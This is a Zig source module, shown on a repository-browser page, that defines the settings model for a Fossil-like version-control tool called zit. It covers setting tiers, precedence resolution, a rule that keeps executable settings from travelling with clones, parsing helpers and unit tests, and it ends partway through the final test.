Skip to content
zit Artifact [a92ca2b47a]
Login

Artifact [a92ca2b47a]

Artifact a92ca2b47a972337cbf50326c0142c561100552361728f77722af5c5faf2a3b8:


//! The settings model: which settings exist, where a value may live, and which
//! tier wins.
//!
//! ## The organising idea is HAZARD, not scope
//!
//! A setting's blast radius decides how far it is allowed to travel, and that
//! one rule generates the whole table:
//!
//!   * **Data** -- `ignore-glob`, `keep-glob`, `manifest`, `binary-glob`. The
//!     worst a wrong value does is list the wrong files. These may be VERSIONED:
//!     a tracked `.zit-settings/<name>` file clones with the repository, is
//!     reviewable in a diff, and travels to everyone working on the project.
//!
//!   * **Executable** -- `pgp-command`. The value is a command line this machine
//!     RUNS, so a peer that could set it would have remote code execution. It
//!     never propagates by any mechanism, in any transport. Fossil classifies
//!     these `sensitive` for exactly this reason, and puts them in no config
//!     group.
//!
//!   * **Executable, project-owned** -- `before-commit`. The project has a
//!     legitimate claim to declare its own checks, but cloning must never run
//!     them. The DECLARATION versions; the PERMISSION TO EXECUTE is local,
//!     explicit, and content-pinned (see `trust`). Git refuses the first half
//!     (hooks never clone, hence husky/lefthook); fossil's boundary is an
//!     accident of transport (a `before-commit` hook crosses a file clone and
//!     executes, but not an HTTP one). Splitting the two is what makes it safe.
//!
//! ## Precedence
//!
//! Highest to lowest, matching fossil's `db_get` (src/db.c) so an operator's
//! intuition carries over:
//!
//!   1. environment  -- only where a setting names one (`$ZIT_PGP_COMMAND`), so
//!                      a single invocation can be redirected without editing
//!                      anything durable
//!   2. versioned    -- `.zit-settings/<name>`, versionable settings only. It
//!                      OVERRIDES both stored tiers: fossil applies
//!                      `db_get_versioned` after reading config, and the project's
//!                      committed answer is meant to win over a stale local one.
//!   3. repository   -- this repository's config frame
//!   4. global       -- this operator's settings file, shared by every repository
//!   5. default      -- the built-in
//!
//! The rule worth remembering: a value that is SHADOWED must say so. An operator
//! editing the tier that is not in effect, twice, is the failure this module
//! exists to prevent -- which is why `resolve` returns a `Source` and never a
//! bare value.

const std = @import("std");

/// Where a resolved value came from. Ordered highest-precedence first, so a
/// comparison on the enum is a comparison on precedence.
pub const Source = enum {
    environment,
    versioned,
    repository,
    global,
    default,

    /// One word for a listing. Deliberately terse: it sits in a column beside
    /// the value, and the value is what the operator came to read.
    pub fn label(self: Source) []const u8 {
        return switch (self) {
            .environment => "environment",
            .versioned => "versioned",
            .repository => "repository",
            .global => "global",
            .default => "default",
        };
    }
};

/// What a setting's value IS, which decides how it is parsed and how a bad
/// value is reported.
pub const Kind = enum { boolean, string };

/// How far a setting is allowed to travel -- the hazard classification above.
pub const Tier = enum {
    /// Data. May be versioned into `.zit-settings/<name>` and thus clone.
    data,
    /// Local posture: never versioned, because the value describes this
    /// MACHINE's relationship to the network rather than anything about the
    /// project. `autosync` is the whole tier -- a repository that shipped
    /// "always talk to the origin" to every clone would be deciding, for
    /// someone else's laptop, when it goes on the wire.
    local,
    /// Executable. Local or global only; never versioned, never on the wire.
    executable,
    /// Executable but project-owned: the declaration versions, execution needs
    /// local consent recorded against the declaration's content hash.
    consented,
    /// A fact about this one repository: never versioned and never global.
    /// It lives in the repository's config, where the history reads it, so a
    /// value anywhere else would be one setting with two answers.
    repository,
};

pub const Setting = enum {
    autosync,
    ignore_glob,
    keep_glob,
    manifest,
    clearsign,
    pgp_command,
    before_commit,
    binary_glob,
    crlf_glob,
    /// Fossil's older spelling of `crlf-glob`. Consulted only when no
    /// tier supplies `crlf-glob` at all: fossil reads
    /// `db_get("crlf-glob", db_get("crnl-glob",""))` (checkin.c), so a stored
    /// empty `crlf-glob` is a value and wins.
    crnl_glob,
    /// Fossil's `encoding-glob`: the files whose encoding this project
    /// expects (UTF-16, or bytes that are not valid UTF-8) without the commit
    /// complaining.
    encoding_glob,
    /// Fossil's `clean-glob`: untracked files `clean` removes without
    /// asking.
    clean_glob,
    /// Fossil's `empty-dirs`: directory names `open` and `update`
    /// create even though the check-in holds no file inside them.
    empty_dirs,
    /// Fossil's `dotfiles`: whether a tree scan lists names beginning
    /// with `.`. A boolean VALUE carried as a `.string`; `kind()` says why.
    dotfiles,
    /// Fossil's `mimetypes`: the extension-to-MIME rows a web UI
    /// serves files with. Accepted as a known versionable name so a repository
    /// mirrored from a Fossil server is not an error; nothing in zit reads it
    /// until zit serves a UI.
    mimetypes,
    /// Fossil's `attachment-size-limit`: the largest attachment
    /// `attach add` stores, in bytes, checked before the blob is written; `0`
    /// means unlimited. Fossil defaults to unlimited; zit defaults to
    /// `attachment_size_limit_default` when the setting is unset, because a
    /// blob in the DAG travels to every clone for ever. Carried as a
    /// `.string` and parsed at use (`parseByteLimit`).
    attachment_size_limit,

    /// The wire/CLI spelling. Kept separate from the Zig identifier so the
    /// hyphenated names fossil uses are exact.
    /// The commit editor, consulted after --editor and before $VISUAL.
    editor,
    /// Fossil's `main-branch`: the repository's main line, which `update`
    /// and `merge` default to and the history falls back to for a check-in
    /// carrying no branch tag. Stored as the repository config's
    /// `default_branch`. Fossil keeps it local, so a clone never learns it
    /// from its origin: whoever serves the repository sets it.
    main_branch,
    pub fn name(self: Setting) []const u8 {
        return switch (self) {
            .autosync => "autosync",
            .ignore_glob => "ignore-glob",
            .keep_glob => "keep-glob",
            .manifest => "manifest",
            .clearsign => "clearsign",
            .pgp_command => "pgp-command",
            .before_commit => "before-commit",
            .binary_glob => "binary-glob",
            .crlf_glob => "crlf-glob",
            .crnl_glob => "crnl-glob",
            .encoding_glob => "encoding-glob",
            .clean_glob => "clean-glob",
            .empty_dirs => "empty-dirs",
            .dotfiles => "dotfiles",
            .mimetypes => "mimetypes",
            .attachment_size_limit => "attachment-size-limit",
            .editor => "editor",
            .main_branch => "main-branch",
        };
    }

    /// `dotfiles` is a boolean-VALUED setting carried as a `.string`, and
    /// deliberately: `.boolean` routes a write through `parseBool`, which
    /// accepts only `on`/`off`, while the value is READ by `isTruth` (fossil's
    /// rule: `on`/`yes`/`true`/a non-zero leading integer). A `.boolean`
    /// `dotfiles` would make `zit settings dotfiles yes` a usage error while a
    /// versioned file spelling `yes` was honoured -- one setting with two
    /// answers. As a `.string` every tier stores the operator's text verbatim
    /// and the one reader is `isTruth`.
    pub fn kind(self: Setting) Kind {
        return switch (self) {
            .autosync, .clearsign => .boolean,
            .ignore_glob,
            .keep_glob,
            .manifest,
            .pgp_command,
            .before_commit,
            .binary_glob,
            .crlf_glob,
            .crnl_glob,
            .encoding_glob,
            .clean_glob,
            .empty_dirs,
            .dotfiles,
            .mimetypes,
            .attachment_size_limit,
            .editor,
            .main_branch,
            => .string,
        };
    }

    pub fn tier(self: Setting) Tier {
        return switch (self) {
            .ignore_glob,
            .keep_glob,
            .manifest,
            .binary_glob,
            .crlf_glob,
            .crnl_glob,
            .encoding_glob,
            .clean_glob,
            .empty_dirs,
            .dotfiles,
            .mimetypes,
            .attachment_size_limit,
            => .data,
            // Fossil documents `autosync` as a plain setting, not a
            // versionable one -- a `.fossil-settings/autosync` file is ignored
            // there, and here.
            .autosync => .local,
            .clearsign, .pgp_command, .editor => .executable,
            .before_commit => .consented,
            .main_branch => .repository,
        };
    }

    /// Whether a tracked `.zit-settings/<name>` file may supply this value.
    /// True for data settings, and for `before-commit` -- whose declaration is
    /// exactly the thing that SHOULD version, since its whole purpose is to
    /// ship the project's checks with the project. Never for `executable`.
    pub fn versionable(self: Setting) bool {
        return switch (self.tier()) {
            .data, .consented => true,
            .local, .executable, .repository => false,
        };
    }

    /// The environment variable that overrides this setting, if any.
    pub fn envVar(self: Setting) ?[]const u8 {
        return switch (self) {
            .pgp_command => "ZIT_PGP_COMMAND",
            else => null,
        };
    }

    /// The built-in value when no tier supplies one.
    pub fn default(self: Setting) []const u8 {
        return switch (self) {
            // Stored as the deviation (`autosync_off`), so the default reads on.
            .autosync => "on",
            .clearsign => "off",
            // fossil's own default, trailing space included: the `-o ` binds
            // OUTFILE and the manifest arrives as the positional INFILE.
            .pgp_command => "gpg --clearsign -o ",
            .main_branch => "trunk",
            .ignore_glob,
            .keep_glob,
            .manifest,
            .before_commit,
            .binary_glob,
            .crlf_glob,
            .crnl_glob,
            .encoding_glob,
            .clean_glob,
            .empty_dirs,
            .dotfiles,
            .mimetypes,
            .attachment_size_limit,
            .editor,
            => "",
        };
    }

    /// The tracked file a versionable setting reads from.
    /// Caller owns the returned buffer slice.
    pub fn versionedPath(self: Setting, buf: []u8) ?[]const u8 {
        if (!self.versionable()) return null;
        return std.fmt.bufPrint(buf, "{s}/{s}", .{ versioned_dir, self.name() }) catch null;
    }

    /// The fossil-spelled versioned file, consulted BEFORE
    /// `versionedPath`'s: same versionable gate, so an executable setting can
    /// no more arrive through fossil's directory than through zit's.
    pub fn fossilVersionedPath(self: Setting, buf: []u8) ?[]const u8 {
        if (!self.versionable()) return null;
        return std.fmt.bufPrint(buf, "{s}/{s}", .{ fossil_versioned_dir, self.name() }) catch null;
    }

    pub fn byName(text: []const u8) ?Setting {
        inline for (comptime std.enums.values(Setting)) |s| {
            if (std.mem.eql(u8, text, s.name())) return s;
        }
        return null;
    }
};

/// The directory holding versionable settings, matching the existing choice
/// (`ignore.versioned_dir`); restated here so this module states the whole
/// model without depending on the ignore matcher.
pub const versioned_dir: []const u8 = ".zit-settings";

/// Fossil's spelling of the same directory. A repository cloned from a
/// Fossil server carries its versioned settings here, and zit honours them:
/// when both directories hold a file for one setting, `.fossil-settings/`
/// wins -- the repository's fossil-native policy is the older, wider fact,
/// and the `settings` verb's shadow note names whichever file is live so the
/// precedence is visible rather than silent.
pub const fossil_versioned_dir: []const u8 = ".fossil-settings";

/// Longest a versioned settings file may be. A settings value that needs more
/// than this is not a setting.
pub const max_versioned_bytes: usize = 64 * 1024;

/// Which of the two settings directories a versioned value came from. An
/// enum, not a path: the paths are built into caller-owned buffers by
/// `versionedPath`/`fossilVersionedPath`, so a `Resolved` never carries a
/// slice that outlives the frame that made it.
pub const VersionedDir = enum {
    fossil,
    zit,

    /// The directory name, so a note can say which file is live.
    pub fn dirName(self: VersionedDir) []const u8 {
        return switch (self) {
            .fossil => fossil_versioned_dir,
            .zit => versioned_dir,
        };
    }
};

/// A resolved setting: the value in effect, which tier supplied it, and --
/// for a versioned winner only -- which file won and which stored tier it is
/// shadowing. The last two are the whole input to the shadow note, computed
/// once here so no caller has to re-open a store to find out.
pub const Resolved = struct {
    value: []const u8,
    source: Source,
    /// The directory holding the winning file. Null unless `source` is
    /// `.versioned`.
    versioned_dir: ?VersionedDir = null,
    /// The highest stored tier that holds a NON-EMPTY value the versioned
    /// file is overriding, or null when there is nothing to warn about.
    /// fossil warns only when both a versioned and a non-empty non-versioned
    /// value exist (db.c `db_get_versioned`), and so does zit.
    shadowed: ?Source = null,
};

/// What each tier had to say, gathered by the caller. Null means "this tier has
/// no opinion", which is NOT the same as the empty string -- an empty
/// `ignore-glob` set locally is a real value that must shadow a global one.
///
/// Deliberately a plain struct of optionals rather than a reader interface:
/// this module stays sans-IO so precedence is a pure function with a test, and
/// the file/frame/environment reads stay with the code that owns those handles.
pub const Candidates = struct {
    environment: ?[]const u8 = null,
    versioned: ?[]const u8 = null,
    /// Which directory `versioned` was read from, so `resolve` can put it on
    /// the `Resolved` without the reader having to keep a path alive.
    versioned_dir: ?VersionedDir = null,
    repository: ?[]const u8 = null,
    global: ?[]const u8 = null,
};

/// THE precedence rule, in one place. Every surface that answers "what is this
/// setting" must come through here, so a listing, a commit, and a clean can
/// never disagree about which tier won.
pub fn resolve(setting: Setting, c: Candidates) Resolved {
    // An environment override is only consulted where the setting names one, so
    // a stray variable cannot start driving a setting that never had one.
    if (setting.envVar() != null) {
        if (c.environment) |v| return .{ .value = v, .source = .environment };
    }
    // A versioned file cannot supply an executable setting even if one is
    // somehow present on disk: that is the whole security boundary, so it is
    // enforced HERE, at the resolver, rather than trusted to every caller
    // remembering not to read the file.
    if (setting.versionable()) {
        if (c.versioned) |v| return .{
            .value = v,
            .source = .versioned,
            .versioned_dir = c.versioned_dir,
            .shadowed = shadowedTier(c),
        };
    }
    if (c.repository) |v| return .{ .value = v, .source = .repository };
    if (c.global) |v| return .{ .value = v, .source = .global };
    return .{ .value = setting.default(), .source = .default };
}

/// The stored tier a versioned file is overriding, or null when nothing is
/// being shadowed. Repository before global, and an EMPTY stored value counts
/// as nothing: fossil's warning tests the non-versioned value for a non-NUL
/// first byte, so clearing a setting is how an operator silences the note
/// without a `.no-warn` file.
fn shadowedTier(c: Candidates) ?Source {
    if (c.repository) |v| {
        if (v.len != 0) return .repository;
    }
    if (c.global) |v| {
        if (v.len != 0) return .global;
    }
    return null;
}

/// Fossil's `db_get_versioned` pre-processing for a versioned settings file:
/// `blob_strip_comment_lines` then `blob_trim`. A line is a comment ONLY when
/// its first byte is `#` -- an indented `#` is not one (it survives, and the
/// glob tokenizer then reads it as a pattern), and a `#` mid-line is an
/// ordinary byte.
///
/// Compacts IN PLACE and returns the trimmed slice, so the caller's arena
/// text is the only storage; no line dropped means no bytes moved. Bounded by
/// `text.len`.
/// The byte cap `attach add` applies when `attachment-size-limit`
/// is unset: 1 MiB.
pub const attachment_size_limit_default: u64 = 1 << 20;

/// Parse an `attachment-size-limit` value the way fossil's
/// `db_get_int` reads it: a decimal byte count, `0` meaning unlimited. An
/// empty value is "unset" (the zit default applies); anything unparsable is
/// null, so a typo never silently means unlimited.
pub fn parseByteLimit(text: []const u8) ?u64 {
    const t = std.mem.trim(u8, text, " \t\r\n");
    if (t.len == 0) return attachment_size_limit_default;
    return std.fmt.parseInt(u64, t, 10) catch null;
}

pub fn stripCommentLines(text: []u8) []const u8 {
    var w: usize = 0;
    var i: usize = 0;
    var dropped = false;
    while (i < text.len) {
        const end = if (std.mem.indexOfScalarPos(u8, text, i, '\n')) |n| n + 1 else text.len;
        std.debug.assert(end > i); // every step consumes at least one byte
        const line = text[i..end];
        if (line[0] == '#') {
            dropped = true;
        } else {
            if (dropped) std.mem.copyForwards(u8, text[w..][0..line.len], line);
            w += line.len;
        }
        i = end;
    }
    std.debug.assert(w <= text.len);
    return std.mem.trim(u8, text[0..w], " \t\r\n");
}

/// Names for the human-readable listing of every setting name, used by the
/// unknown-name diagnostic so it never drifts from the enum.
pub fn knownNames(buf: []u8) []const u8 {
    var w: usize = 0;
    inline for (comptime std.enums.values(Setting), 0..) |s, i| {
        if (i > 0) {
            if (w + 2 > buf.len) return buf[0..w];
            @memcpy(buf[w..][0..2], ", ");
            w += 2;
        }
        const n = s.name();
        if (w + n.len > buf.len) return buf[0..w];
        @memcpy(buf[w..][0..n.len], n);
        w += n.len;
    }
    return buf[0..w];
}

/// Parse a boolean setting's spelling. fossil accepts `on`/`off` for these and
/// so does zit; anything else is refused rather than guessed, because guessing
/// "off" for a typo silently disables a check the operator asked for.
pub fn parseBool(text: []const u8) ?bool {
    if (std.mem.eql(u8, text, "on")) return true;
    if (std.mem.eql(u8, text, "off")) return false;
    return null;
}

/// Fossil's `is_truth` (db.c): `on`, `yes` or `true` case-insensitively, or a
/// leading integer that is not zero -- fossil falls back to `atoi`, so `2` is
/// true and `banana` is not. THE truth rule for every setting whose value is a
/// boolean but whose storage is text (`dotfiles`, `manifest`), so those two
/// can never disagree about what `2` means.
pub fn isTruth(value: []const u8) bool {
    inline for (.{ "on", "yes", "true" }) |word| {
        if (std.ascii.eqlIgnoreCase(value, word)) return true;
    }
    return leadingIntIsNonZero(value);
}

/// Fossil's `is_false` (db.c): `off`, `no`, `false` or `0`, case-insensitively.
/// Checked BEFORE `isTruth` wherever both apply, as fossil does.
pub fn isFalse(value: []const u8) bool {
    inline for (.{ "off", "no", "false", "0" }) |word| {
        if (std.ascii.eqlIgnoreCase(value, word)) return true;
    }
    return false;
}

/// Whether C's `atoi` would read a non-zero value from the head of `text`:
/// leading whitespace, an optional sign, then decimal digits, stopping at the
/// first byte that is neither. Only the zero/non-zero answer is needed, so
/// nothing here can overflow. Bounded by `text.len`.
fn leadingIntIsNonZero(text: []const u8) bool {
    var i: usize = 0;
    while (i < text.len and (text[i] == ' ' or (text[i] >= '\t' and text[i] <= '\r'))) i += 1;
    if (i < text.len and (text[i] == '+' or text[i] == '-')) i += 1;
    var digits = false;
    var non_zero = false;
    while (i < text.len and text[i] >= '0' and text[i] <= '9') : (i += 1) {
        digits = true;
        if (text[i] != '0') non_zero = true;
    }
    return digits and non_zero;
}

/// Fossil's `db_get_manifest_setting` (db.c) reduced to its pure half: the
/// `manifest` setting's TEXT becomes the selector letters a materialization
/// writes build stamps from.
///
///   * a false-ish value (`off`, `no`, `false`, `0`) selects nothing;
///   * a true-ish one (`on`, `yes`, `true`, a non-zero leading integer)
///     selects `r` and `u` -- the raw manifest and its uuid;
///   * anything else is read letter by letter: `r`, `u` and `t` count and
///     every other byte is ignored, so `r,u` and `ru` are the same request.
///
/// The result is a slice of a static table, so it outlives every caller, and
/// text that means nothing resolves to "" rather than to an error no operator
/// could act on.
pub fn manifestFlags(value: []const u8) []const u8 {
    if (value.len == 0 or isFalse(value)) return "";
    if (isTruth(value)) return "ru";
    var want_r = false;
    var want_u = false;
    var want_t = false;
    for (value) |c| switch (c) {
        'r' => want_r = true,
        'u' => want_u = true,
        't' => want_t = true,
        else => {},
    };
    const table = [8][]const u8{ "", "r", "u", "ru", "t", "rt", "ut", "rut" };
    const index: usize = @as(usize, @intFromBool(want_r)) |
        (@as(usize, @intFromBool(want_u)) << 1) |
        (@as(usize, @intFromBool(want_t)) << 2);
    return table[index];
}

// ---------------------------------------------------------------------------
// The global tier
// ---------------------------------------------------------------------------

/// The operator-scope settings file: `name value` lines, one per line, `#`
/// comments, blank lines ignored. A TEXT file on purpose -- the repository's own
/// config is a binary frame because it shares a log with artifacts, but this one
/// is read and edited by a person, and a format they can fix with an editor when
/// something goes wrong is worth more than a compact one.
///
/// Location, first that answers:
///   * `$ZIT_CONFIG` -- the file itself, for tests and for an operator who
///     wants it somewhere specific
///   * `$XDG_CONFIG_HOME/zit/settings`
///   * `$HOME/.config/zit/settings`
///
/// Absent is not an error anywhere: no file means no global values, which is
/// the state of every installation that never set one.
pub const global_basename: []const u8 = "settings";
pub const global_subdir: []const u8 = "zit";

pub const GlobalPath = struct {
    /// The full path, borrowed from the caller's buffer.
    path: []const u8,
    /// The directory that must exist before a write. Empty when `$ZIT_CONFIG`
    /// named a bare filename with no directory part.
    dir: []const u8,
};

/// Resolve where the global settings file lives. Null when no home can be
/// determined at all (no `$ZIT_CONFIG`, no `$XDG_CONFIG_HOME`, no `$HOME`) --
/// a legitimate state for a daemon, and one that must degrade to "no global
/// tier" rather than failing every settings read.
pub fn globalPath(environ: anytype, buf: []u8) ?GlobalPath {
    if (environ.getPosix("ZIT_CONFIG")) |explicit| {
        if (explicit.len == 0 or explicit.len > buf.len) return null;
        @memcpy(buf[0..explicit.len], explicit);
        const path = buf[0..explicit.len];
        const slash = std.mem.lastIndexOfScalar(u8, path, '/');
        return .{ .path = path, .dir = if (slash) |i| path[0..i] else "" };
    }
    if (environ.getPosix("XDG_CONFIG_HOME")) |xdg| {
        if (xdg.len == 0) return null;
        const dir = std.fmt.bufPrint(buf, "{s}/{s}", .{ xdg, global_subdir }) catch return null;
        const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null;
        // The two prints are adjacent in `buf`, so the full path is their span.
        return .{ .path = buf[0 .. dir.len + path.len], .dir = dir };
    }
    if (environ.getPosix("HOME")) |home| {
        if (home.len == 0) return null;
        const dir = std.fmt.bufPrint(buf, "{s}/.config/{s}", .{ home, global_subdir }) catch return null;
        const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null;
        return .{ .path = buf[0 .. dir.len + path.len], .dir = dir };
    }
    return null;
}

/// One `name value` line's parts, or null for a line that carries no setting
/// (blank, or a `#` comment). A malformed line is SKIPPED rather than fatal:
/// this file is hand-edited, and refusing to read any setting because line 7
/// has a stray character would take the operator's signing command down with
/// their typo.
pub fn parseGlobalLine(line: []const u8) ?struct { name: []const u8, value: []const u8 } {
    const trimmed = std.mem.trim(u8, line, " \t\r");
    if (trimmed.len == 0 or trimmed[0] == '#') return null;
    const sp = std.mem.indexOfAny(u8, trimmed, " \t") orelse
        // A bare name with no value is a legitimate way to spell the empty
        // string, which is how a glob list is cleared.
        return .{ .name = trimmed, .value = "" };
    const name = trimmed[0..sp];
    if (name.len == 0) return null;
    const value = std.mem.trim(u8, trimmed[sp + 1 ..], " \t");
    return .{ .name = name, .value = value };
}

/// Look one setting up in already-read global file text. Last occurrence wins,
/// matching how every line-oriented config file an operator has met behaves.
pub fn globalLookup(text: []const u8, setting: Setting) ?[]const u8 {
    var found: ?[]const u8 = null;
    var it = std.mem.splitScalar(u8, text, '\n');
    while (it.next()) |line| {
        const parsed = parseGlobalLine(line) orelse continue;
        if (std.mem.eql(u8, parsed.name, setting.name())) found = parsed.value;
    }
    return found;
}

/// Rewrite `text` so `setting` reads `value`, returning the new file contents.
/// An existing line for the setting is REPLACED IN PLACE so hand-written
/// comments and ordering survive an edit; a setting not present is appended.
/// Caller owns the result.
pub fn globalSet(
    gpa: std.mem.Allocator,
    text: []const u8,
    setting: Setting,
    value: []const u8,
) error{OutOfMemory}![]u8 {
    var out: std.ArrayList(u8) = .empty;
    errdefer out.deinit(gpa);
    var replaced = false;
    var it = std.mem.splitScalar(u8, text, '\n');
    var first = true;
    while (it.next()) |line| {
        // `splitScalar` yields a trailing empty piece for text ending in \n;
        // dropping it here keeps the file from growing a blank line per edit.
        if (it.peek() == null and line.len == 0) break;
        if (!first) try out.append(gpa, '\n');
        first = false;
        const parsed = parseGlobalLine(line);
        if (parsed != null and std.mem.eql(u8, parsed.?.name, setting.name())) {
            if (replaced) {
                // A duplicate earlier line is now dead; drop it rather than
                // leave a value that no longer takes effect sitting in the file.
                out.items.len -= @intFromBool(out.items.len > 0);
                first = out.items.len == 0;
                continue;
            }
            try out.print(gpa, "{s} {s}", .{ setting.name(), value });
            replaced = true;
            continue;
        }
        try out.appendSlice(gpa, line);
    }
    if (!replaced) {
        if (!first) try out.append(gpa, '\n');
        try out.print(gpa, "{s} {s}", .{ setting.name(), value });
    }
    try out.append(gpa, '\n');
    return out.toOwnedSlice(gpa);
}

// ---------------------------------------------------------------------------

const testing = std.testing;

/// A stand-in for the process environment, so precedence is testable without
/// one. Mirrors the one method `globalPath` needs.
const FakeEnv = struct {
    pairs: []const [2][]const u8,
    fn getPosix(self: FakeEnv, key: []const u8) ?[]const u8 {
        for (self.pairs) |p| if (std.mem.eql(u8, p[0], key)) return p[1];
        return null;
    }
};

test "a versioned settings file drops `#` lines and trims, as fossil's db_get_versioned does" {
    // fossil `db.c db_get_versioned` runs `blob_strip_comment_lines` then
    // `blob_trim`. A line is a comment only when its FIRST byte is `#`.
    const cases = [_]struct { in: []const u8, want: []const u8 }{
        .{ .in = "# note\n*.o\n", .want = "*.o" },
        .{ .in = "*.o\n# note\n*.a\n", .want = "*.o\n*.a" },
        .{ .in = "#only\n", .want = "" },
        // An INDENTED `#` is not a comment: fossil keeps the line, and the
        // glob tokenizer then reads `#` and `indented` as two patterns.
        .{ .in = "  # indented\n*.o", .want = "# indented\n*.o" },
        // A `#` mid-line is an ordinary byte.
        .{ .in = "foo#bar\n", .want = "foo#bar" },
        .{ .in = "  *.o  \n\n\n", .want = "*.o" },
        .{ .in = "*.o\r\n#x\r\n", .want = "*.o" },
        .{ .in = "", .want = "" },
        .{ .in = "\n\n", .want = "" },
    };
    var buf: [64]u8 = undefined;
    for (cases) |c| {
        @memcpy(buf[0..c.in.len], c.in);
        try testing.expectEqualStrings(c.want, stripCommentLines(buf[0..c.in.len]));
    }
}

test "a versioned winner records its directory and what it shadows" {
    // The shadow note fires only when a versioned file AND a non-empty
    // non-versioned value both exist (fossil db.c: the warning tests
    // `zNonVersionedSetting[0]!='\0'`).
    const versioned_repo = resolve(.ignore_glob, .{
        .versioned = "*.tmp",
        .versioned_dir = .fossil,
        .repository = "*.o",
    });
    try testing.expectEqual(Source.versioned, versioned_repo.source);
    try testing.expectEqual(VersionedDir.fossil, versioned_repo.versioned_dir.?);
    try testing.expectEqual(Source.repository, versioned_repo.shadowed.?);

    // An EMPTY repository value is not something to warn about.
    const versioned_empty_repo = resolve(.ignore_glob, .{
        .versioned = "*.tmp",
        .versioned_dir = .zit,
        .repository = "",
    });
    try testing.expectEqual(VersionedDir.zit, versioned_empty_repo.versioned_dir.?);
    try testing.expect(versioned_empty_repo.shadowed == null);

    // Global is the shadowed tier when the repository has no opinion.
    const versioned_global = resolve(.ignore_glob, .{
        .versioned = "*.tmp",
        .versioned_dir = .zit,
        .global = "*.a",
    });
    try testing.expectEqual(Source.global, versioned_global.shadowed.?);

    // Repository outranks global as the tier NAMED by the note.
    const both = resolve(.ignore_glob, .{
        .versioned = "*.tmp",
        .versioned_dir = .zit,
        .repository = "*.o",
        .global = "*.a",
    });
    try testing.expectEqual(Source.repository, both.shadowed.?);

    // A non-versioned winner carries neither fact.
    const repo_winner = resolve(.ignore_glob, .{ .repository = "*.o", .global = "*.a" });
    try testing.expectEqual(Source.repository, repo_winner.source);
    try testing.expect(repo_winner.versioned_dir == null);
    try testing.expect(repo_winner.shadowed == null);
}

test "manifest accepts fossil's boolean spellings alongside the letters" {
    // Expectations from fossil `db.c db_get_manifest_setting`: is_false first,
    // then is_truth (which falls back to atoi), then per-letter r/u/t.
    const cases = [_]struct { in: []const u8, want: []const u8 }{
        .{ .in = "on", .want = "ru" },
        .{ .in = "ON", .want = "ru" },
        .{ .in = "yes", .want = "ru" },
        .{ .in = "true", .want = "ru" },
        .{ .in = "1", .want = "ru" },
        .{ .in = "2", .want = "ru" },
        .{ .in = "off", .want = "" },
        .{ .in = "no", .want = "" },
        .{ .in = "false", .want = "" },
        .{ .in = "0", .want = "" },
        .{ .in = "", .want = "" },
        .{ .in = "r", .want = "r" },
        .{ .in = "ru", .want = "ru" },
        .{ .in = "rut", .want = "rut" },
        .{ .in = "t", .want = "t" },
        // Separators are ignored bytes, so `r,u` is `ru`.
        .{ .in = "r,u", .want = "ru" },
        .{ .in = "u t", .want = "ut" },
        // Junk selects nothing rather than failing: a build stamp is a
        // convenience, and no operator could act on an error here.
        .{ .in = "banana", .want = "" },
    };
    for (cases) |c| try testing.expectEqualStrings(c.want, manifestFlags(c.in));

    // Normalizing twice is normalizing once: the stored letters go back
    // through this helper on every inherit.
    for (cases) |c| try testing.expectEqualStrings(c.want, manifestFlags(manifestFlags(c.in)));
}

test "one truth rule, so every tier reads a boolean-valued setting the same way" {
    try testing.expect(isTruth("on"));
    try testing.expect(isTruth("YES"));
    try testing.expect(isTruth("True"));
    try testing.expect(isTruth("1"));
    try testing.expect(isTruth("2"));
    try testing.expect(isTruth("-3"));
    try testing.expect(!isTruth("0"));
    try testing.expect(!isTruth("off"));
    try testing.expect(!isTruth(""));
    try testing.expect(!isTruth("banana"));
    try testing.expect(isFalse("off"));
    try testing.expect(isFalse("NO"));
    try testing.expect(isFalse("false"));
    try testing.expect(isFalse("0"));
    try testing.expect(!isFalse("on"));
    try testing.expect(!isFalse(""));
}

test "the new names exist at every tier, and autosync leaves the versionable one" {
    // Every name in `added` is a full setting: it has a spelling, it is a
    // data-tier string, and a versioned file may supply it.
    const added = [_]Setting{ .crnl_glob, .encoding_glob, .clean_glob, .empty_dirs, .dotfiles, .mimetypes };
    var buf: [128]u8 = undefined;
    for (added) |s| {
        try testing.expectEqual(Kind.string, s.kind());
        try testing.expectEqual(Tier.data, s.tier());
        try testing.expect(s.versionable());
        try testing.expectEqual(s, Setting.byName(s.name()).?);
        try testing.expect(s.versionedPath(&buf) != null);
        try testing.expect(s.fossilVersionedPath(&buf) != null);
        try testing.expectEqualStrings("", s.default());
    }
    try testing.expectEqualStrings("crnl-glob", Setting.crnl_glob.name());
    try testing.expectEqualStrings("empty-dirs", Setting.empty_dirs.name());
    try testing.expectEqualStrings("mimetypes", Setting.mimetypes.name());

    // item 10: autosync is network posture, not project data, so no tracked
    // file may supply it.
    try testing.expectEqual(Tier.local, Setting.autosync.tier());
    try testing.expect(!Setting.autosync.versionable());
    try testing.expect(Setting.autosync.versionedPath(&buf) == null);
    try testing.expect(Setting.autosync.fossilVersionedPath(&buf) == null);
    // ... and a versioned candidate is refused at the resolver, not merely
    // left unread, so its default still answers.
    const r = resolve(.autosync, .{ .versioned = "off" });
    try testing.expectEqual(Source.default, r.source);
    try testing.expectEqualStrings("on", r.value);
}

test "settings: hazard decides propagation — executable settings are never versionable" {
    // The model's load-bearing claim, asserted over the WHOLE enum rather than
    // a sample: if a future setting is added to the executable tier and someone
    // marks it versionable, that is remote code execution arriving by clone,
    // and it must fail here rather than in the field.
    inline for (comptime std.enums.values(Setting)) |s| {
        switch (s.tier()) {
            .local, .executable, .repository => try testing.expect(!s.versionable()),
            .data, .consented => try testing.expect(s.versionable()),
        }
    }
    // The two settings whose classification the issue argued explicitly.
    try testing.expectEqual(Tier.executable, Setting.pgp_command.tier());
    try testing.expectEqual(Tier.consented, Setting.before_commit.tier());
    try testing.expect(!Setting.pgp_command.versionable());
    try testing.expect(Setting.before_commit.versionable());
}

test "settings: names round-trip and the known-name list is generated, not hand-copied" {
    inline for (comptime std.enums.values(Setting)) |s| {
        try testing.expectEqual(s, Setting.byName(s.name()).?);
    }
    try testing.expect(Setting.byName("no-such-setting") == null);
    var buf: [256]u8 = undefined;
    const known = knownNames(&buf);
    // Every name appears, so a new setting cannot be added without the
    // diagnostic listing it.
    inline for (comptime std.enums.values(Setting)) |s| {
        try testing.expect(std.mem.indexOf(u8, known, s.name()) != null);
    }
}

test "settings: Source order IS precedence order" {
    // `resolve` picks the first tier that answers, so the enum's declaration
    // order is the policy. Stated as a test because a reorder would silently
    // change which tier wins.
